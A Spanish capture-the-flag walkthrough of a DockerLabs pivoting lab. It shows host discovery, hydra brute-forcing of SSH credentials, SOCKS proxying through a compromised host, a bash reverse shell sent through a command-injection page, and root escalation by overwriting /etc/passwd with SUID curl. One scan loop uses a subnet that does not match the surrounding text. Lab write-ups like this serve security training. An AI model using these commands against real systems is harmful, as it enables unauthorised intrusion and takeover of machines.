Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 3 archivos
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Primero debemos identificar cuál es la máquina a la que tenemos acceso. Para ello usaremos el comando ip a
que nos mostrara todas las interfaces.
Si vamos buscando las otras redes podemos observar que tenemos otra red que indica up
la cual es la 8 y nuestra dirección para esa IP es la 10.10.10.1
.
Con ello en mente podemos saber cuál de las direcciones IP que debemos acceder para empezar. Si no nos indicaran que IP es la que debemos acceder, solo deberíamos realizar sudo nmap -sn 10.10.10.0/24
y como se puede observar se tienen las IP:
10.10.10.1 ---> Nuestra IP
10.10.10.2 ---> IP de máquina víctima
Ya que tuvimos la IP 10.10.10.2
realizaremos un ping para ver si obtenemos respuesta.
Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos abiertos.
Al dirigirnos a la dirección web podemos observar que podemos ingresar URL's.
Tratamos de revisar si obtenemos algún directorio adicional y podemos encontrar uno llamado info
.
Nos dirigimos al directorio solo observamos un texto interesante así también una dirección que debemos tener en cuenta para más adelante 20.20.20.3
.
Ya que no hay mucho que ver, regresamos a la página principal y probamos agregando la URL de Google y vemos que sí tenemos respuesta.
Al enviar el URL podemos observar que se ven los resultados siguientes. Lo cual nos confirmaría que es vulnerable a Open Redirect
, pero no nos es útil debido a que ese ataque está orientado más a phishing.
Ya que podemos observar el resultado recordemos que nos hablaba de que el usuario tenía una página ilegal con la dirección 20.20.20.3
Si ingresamos la dirección podemos observar otro buscador.
Luego de ello observamos que indica webilegal.com
.
Como ahora sabemos que hay otro servicio, pero no tenemos más donde buscar usaremos hydra para obtener el password con el nombre que observamos en el mensaje. Luego de usar hydra
podemos observar el password.
toni:banana
Como ya obtuvimos el password nos conectamos y podemos observar que ya estamos dentro de la primera máquina así también observamos la segunda red 20.20.20.2
.
Probamos realizar un ping a la dirección que encontramos 20.20.20.3
, pero no tenemos el comando ping.
Como desconocemos la dirección IP de la máquina, realizaremos un escaneo para identificar las direcciones IP habilitadas en este rango. Para ello debemos hacer lo siguiente. Usamos el siguiente script para identificar las direcciones IP
for i in {1..254}; do
curl -s --connect-timeout 1 http://30.30.30.$i > /dev/null && echo "30.30.30.$i is up"
done
Podemos observar que encontró 2 y la dirección que encontró es la misma que observamos en el mensaje.
20.20.20.2 => nuestra máquina.
20.20.20.3 => Máquina a atacar.
Máquina 1 Dark1 (IP 10.10.10.2 - 20.20.20.2)
Para poder empezar con esta máquina aplicaremos un Dynamic Port Forwarding
. Como ya tenemos las credenciales SSH primero debemos ingresar el comando.
ssh -D 1234 toni@10.10.10.2
Una vez hecha la conexión, tendremos que aplicar la siguiente configuración desde el fichero /etc/proxychains.conf
:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1234
Con ello hecho ya deberíamos poder tener conectividad a ese punto. Escaneamos los puertos de la otra máquina 20.20.20.3
para poder observar cuáles tenemos disponibles y tenemos los puertos 80
y 20
.
Como tenemos el puerto 80 para poder observar agregaremos el proxy en foxyproxy
así tener conectividad y ya sabemos qué esperar.
Luego de activar el proxy
Al ingresar la dirección IP en el navegador web podemos observar la página que pudimos observar al comienzo.
Probamos ingresando un comando y podemos observar que se pueden ejecutar comandos.
Ya que podemos ejecutar usuario y no tenemos usuarios por cuáles hacer fuerza bruta, estableceremos una reverse shell. Nos dirigimos a la terminal de Toni e iniciamos nuestro listener.
Usando el siguiente comando usando la dirección IP con la que tenemos un portforwarding
.
bash -c 'bash -i >& /dev/tcp/10.10.10.2/1235 0>&1'
Y enviamos la shell y podemos observar que ya tenemos conexión.
Si realizamos un hostname -I
observamos que ya estamos en la red 20.20.20.3
.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un sudo -l
, pero no podemos observar, ya que no tenemos permisos y revisando los permisos SUID observamos que tenemos Curl
.
Buscando sobre este binario en GFTOBins podemos observar lo siguiente.
Para poder aprovechar estos permisos copiaremos el archivo de /etc/passwd
en el directorio /tmp
.
Luego usando nano lo editaremos y de primera tenemos 2 opciones, la primera es editar el campo de root y retirarle la x
y dejarlo de la siguiente manera.
También podríamos agregar un usuario al final y se vería de la siguiente manera.
Con el archivo modificado de la siguiente manera podemos realizar lo siguiente.
/usr/bin/curl file:///tmp/passwd -o /etc/passwd
Luego de ello podemos hacer un su root
o un su gm4tsy
de esta manera obteniendo acceso como root. De esta manera culminando esta máquina.